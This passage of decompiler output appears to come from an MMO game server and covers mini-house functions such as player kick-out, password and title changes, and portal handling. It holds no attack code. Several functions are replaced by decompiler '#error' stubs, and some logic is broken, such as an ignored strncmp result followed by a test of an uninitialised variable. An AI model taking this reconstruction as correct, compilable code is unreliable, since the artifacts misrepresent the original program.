**)(ShineObjectClass::ShineMiniHouse *, int))(v22 + 216))(v3, v8); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LABEL_37: --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"); return 1; default: v29 = -1; v24 = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; goto LABEL_40; } } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (004EF8E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 int v2; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v1->gap0[0] + 828))(v1); v2 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)&v1->gap0[4], 0, 19); if ( !(_BYTE)v2 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH : Fail to object free", v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH"); return 1; } //----- (004EF9B0) -------------------------------------------------------- #error "4EF9B0: undefined or illegal type '#325' (funcsize=159)" //----- (004EFC10) -------------------------------------------------------- #error "4EFC10: undefined or illegal type '#325' (funcsize=184)" //----- (004EFEB0) -------------------------------------------------------- #error "4EFEB0: undefined or illegal type '#325' (funcsize=205)" //----- (004F0190) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOut(ShineObjectClass::ShineMiniHouse *this, unsigned int srn) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 int result; // eax@2 signed int v6; // eax@3 int v7; // ecx@4 signed int v8; // eax@8 int v9; // ecx@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; LOBYTE(v4) = v2->smh_Info.KickOutPlayerCount; if ( (unsigned __int8)v4 < 0x14u ) { v6 = 5; if ( v2->smh_Info.EnterPlayerCount <= 5u ) { LABEL_7: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4498; } else { v7 = (int)&v2->smh_Info.EnterPlayerIndex[5]; while ( *(_DWORD *)v7 != srn ) { ++v6; v7 += 4; if ( v6 >= v2->smh_Info.EnterPlayerCount ) goto LABEL_7; } v4 = (unsigned __int8)v4; v8 = 0; if ( (signed int)(unsigned __int8)v4 <= 0 ) { LABEL_12: v2->smh_Info.KickOutPlayerIndex[v4] = srn; ++v2->smh_Info.KickOutPlayerCount; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4481; } else { v9 = (int)v2->smh_Info.KickOutPlayerIndex; while ( *(_DWORD *)v9 != srn ) { ++v8; v9 += 4; if ( v8 >= v2->smh_Info.KickOutPlayerCount ) goto LABEL_12; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4496; } } } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4495; } return result; } //----- (004F0320) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel(ShineObjectClass::ShineMiniHouse *this, unsigned int srn) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 char v3; // cl@1 signed int v4; // eax@1 int v5; // edx@2 int result; // eax@5 char v7; // cl@6 int v8; // ecx@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->smh_Info.KickOutPlayerCount; v4 = 0; if ( v3 ) { v5 = (int)v2->smh_Info.KickOutPlayerIndex; while ( srn != *(_DWORD *)v5 ) { ++v4; v5 += 4; if ( v4 >= v2->smh_Info.KickOutPlayerCount ) goto LABEL_5; } v7 = v3 - 1; v2->smh_Info.KickOutPlayerCount = v7; if ( v4 < (unsigned __int8)v7 ) { v8 = (int)&v2->smh_Info.KickOutPlayerIndex[v4]; do { *(_DWORD *)v8 = *(_DWORD *)(v8 + 4); ++v4; v8 += 4; } while ( v4 < v2->smh_Info.KickOutPlayerCount ); } v2->smh_Info.KickOutPlayerIndex[v4] = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"); result = 4481; } else { LABEL_5: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"); result = 4494; } return result; } //----- (004F0440) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer(ShineObjectClass::ShineMiniHouse *this, char NewMaxPlayer) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)NewMaxPlayer >= 1u && (unsigned __int8)NewMaxPlayer <= 0x63u ) { if ( v2->smh_Info.EnterPlayerCount <= (unsigned __int8)NewMaxPlayer + 5 ) { v2->smh_Info.MaxPlayer = NewMaxPlayer + 5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); result = 4481; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); result = 4492; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); result = 4491; } return result; } //----- (004F0540) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword(ShineObjectClass::ShineMiniHouse *this, char *NewPassword) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 signed int v3; // ebx@1 int v4; // eax@4 int result; // eax@5 char v6; // bl@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; do { if ( !NewPassword[v3] ) break; ++v3; } while ( v3 < 9 ); strncmp(v2->smh_Info.Password, NewPassword, 8u); if ( v4 ) { if ( v3 ) { if ( v3 >= 8 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 4490; } else { v6 = v2->smh_Info.isPublic; v2->smh_Info.isPublic = 0; strncpy(v2->smh_Info.Password, NewPassword, 8u); v2->smh_Info.Password[8] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 2 * (v6 != 0) + 4565; } } else { v2->smh_Info.isPublic = 1; v2->smh_Info.Password[0] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 4566; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 4565; } return result; } //----- (004F06E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char *v2; // ST10_4@1 char *v3; // edi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@1 int v7; // [sp+30h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->smh_BriefInfo.bimh_BriefInfo->title; v7 = 0; strncpy(v2, v1->smh_Info.Title, 0x14u); v1->smh_BriefInfo.bimh_BriefInfo->title[20] = 0; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -29647; *((_WORD *)v3 + 1) = *(_WORD *)&v1->gap0[4]; strncpy(v3 + 4, v1->smh_Info.Title, 0x14u); v3[24] = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 25); v4 = *(_DWORD *)&v1->gap0[78]; LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v7) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd"); } //----- (004F0800) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle(ShineObjectClass::ShineMiniHouse *this, char *NewTitle) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 signed int v3; // eax@1 char *v4; // eax@12 char v5; // cl@13 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; while ( NewTitle[v3] ) { if ( !NewTitle[v3 + 1] ) { ++v3; break; } if ( !NewTitle[v3 + 2] ) { v3 += 2; break; } v3 += 3; if ( v3 >= 21 ) break; } if ( !v3 ) { v2->smh_Info.Title[0] = 0; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"); return 4481; } if ( v3 <= 20 ) { v4 = NewTitle; do { v5 = *v4; v4[(char *)&v2->smh_Info - NewTitle] = *v4; ++v4; } while ( v5 ); v2->smh_Info.Title[20] = 0; goto LABEL_15; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"); return 4489; } //----- (004F0910) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->smh_Info.isItemInfoClose = pReq->bItemInfoClose; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen"); return 4481; } //----- (004F0980) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_NOTIFY_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( pReq->nNotifyLen <= 0x64u ) { strncpy(v2->smh_Info.Notify, &pReq[1].nNotifyLen, pReq->nNotifyLen); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"); result = 4481; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"); result = 6600; } return result; } //----- (004F0A60) -------------------------------------------------------- #error "4F0A60: undefined or illegal type '#325' (funcsize=78)" //----- (004F0B90) -------------------------------------------------------- #error "4F0B90: undefined or illegal type '#325' (funcsize=89)" //----- (004F0CD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart(void *this, void *a2) { void *v2; // esi@1 int v3; // edi@3 int v4; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 176))(v2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"); } else { v3 = unk_615708; if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, signed int, signed int, _DWORD, signed int))(*(_DWORD *)a2 + 1528))( a2, a2, 290, 1, unk_615708, clockwatch.cw_CurrTick, 420000000, -1, 0, 9) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(a2, *(_DWORD *)(*(_DWORD *)v3 + 34)); v4 = *(_DWORD *)(v3 + 44); if ( v4 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)a2 + 992))( a2, *(_DWORD *)(*(_DWORD *)v3 + 34), *(_DWORD *)(v4 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( a2, *(_DWORD *)(*(_DWORD *)v3 + 34), *(_DWORD *)(*(_DWORD *)(v3 + 44) + 43), 1); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"); } } //----- (004F0E10) -------------------------------------------------------- #error "4F0E10: undefined or illegal type '#434' (funcsize=641)" //----- (004F1830) -------------------------------------------------------- #error "4F1830: undefined or illegal type '#434' (funcsize=427)" //----- (004F1EA0) -------------------------------------------------------- #error "4F1EA0: undefined or illegal type '#325' (funcsize=450)" //----- (004F25D0) -------------------------------------------------------- #error "4F25D0: undefined or illegal type '#325' (funcsize=587)" //----- (004F2E90) -------------------------------------------------------- #error "4F2E90: undefined or illegal type '#325' (funcsize=250)" //----- (004F3200) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle(__int16 FurnitureHandle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle"); return 0; } //----- (004F3250) -------------------------------------------------------- #error "4F3250: undefined or illegal type '#325' (funcsize=118)" //----- (004F3410) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_LIST_ACK *portal_list_ack) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 unsigned __int16 v3; // ax@1 signed int v4; // edx@1 int v5; // ecx@2 char *v6; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = portal_list_ack->nPortalCnt; v4 = 0; v2->smh_PortalList.nPortalCnt = v3; if ( v3 ) { v5 = (int)&v2->smh_PortalList.Portal[0].dEndTime; v6 = (char *)&portal_list_ack[1].header.charregistnumber; do { *(_WORD *)(v5 - 2) = *((_WORD *)v6 - 1); *(_DWORD *)v5 = *(_DWORD *)v6; ++v4; v6 += 6; v5 += 6; } while ( v4 < v2->smh_PortalList.nPortalCnt ); } ++v2->smh_Info.CanEnter; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList"); } //----- (004F34C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_AddPortal(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_ADD_ACK *portal_add_ack) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->smh_PortalList.nPortalCnt; if ( v3 + 1 <= 50 ) { *(_WORD *)&v2->gap0[2 * (3 * v3 + 24579)] = portal_add_ack->nPortalItemID; v2->smh_PortalList.Portal[v2->smh_PortalList.nPortalCnt++].dEndTime = portal_add_ack->dEndDate; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"); } } //----- (004F35A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_OPEN_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@2 char v4; // al@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v2->gap0[0] + 276))(v2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); result = 6648; } else { v4 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, _DWORD))(*(_DWORD *)&v2->gap0[0] + 280))( v2, pReq->nPortalItemID); --funcallanalizer.fca_stackpoint; if ( v4 ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); result = 4481; } else { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); result = 6649; } } return result; } //----- (004F36B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalClose(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_CLOSE_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v2->gap0[0] + 276))(v2) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v2->gap0[0] + 284))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"); result = 4481; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"); result = 6656; } return result; } //----- (004F3790) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned __int16 v2; // ax@2 unsigned __int16 v3; // si@4 unsigned __int16 result; // ax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v1->gap0[0] + 276))(v1) && (v2 = v1->smh_PortalList.ActivePortalIndex, v2 < 0x32u) && v2 < v1->smh_PortalList.nPortalCnt ) { v3 = *(_WORD *)&v1->gap0[6 * (v2 + 8193)]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"); result = v3; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"); result = -1; } return result; } //----- (004F3890) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char v2; // bl@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->smh_PortalList.isActivePortal; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal"); return v2; } //----- (004F3900) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nPortalItemID) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int v3; // ecx@1 char result; // al@2 signed int v5; // eax@3 int v6; // ecx@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( nPortalItemID == -1 ) { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); result = 0; } else { v5 = 0; if ( v2->smh_PortalList.nPortalCnt ) { v6 = (int)v2->smh_PortalList.Portal; while ( v5 < 50 ) { if ( *(_WORD *)v6 == nPortalItemID ) { v2->smh_PortalList.ActivePortalIndex = v5; v2->smh_PortalList.isActivePortal = 1; v2->smh_PortalList.PortalDeActiveTime = clockwatch.cw_CurrTick + 600; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); return 1; } ++v5; v6 += 6; if ( v5 >= v2->smh_PortalList.nPortalCnt ) break; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); result = 0; } return result; } //----- (004F3A40) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_mh_isEndureGradeDown() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_isEndureGradeDown"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mh_isEndureGradeDown"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_isEndureGradeDown"); return 0; } //----- (004F3A90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char v2; // bl@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->smh_EndureCheckTime.isEndureCheck; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown"); return v2; } //----- (004F3B00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // ebx@1 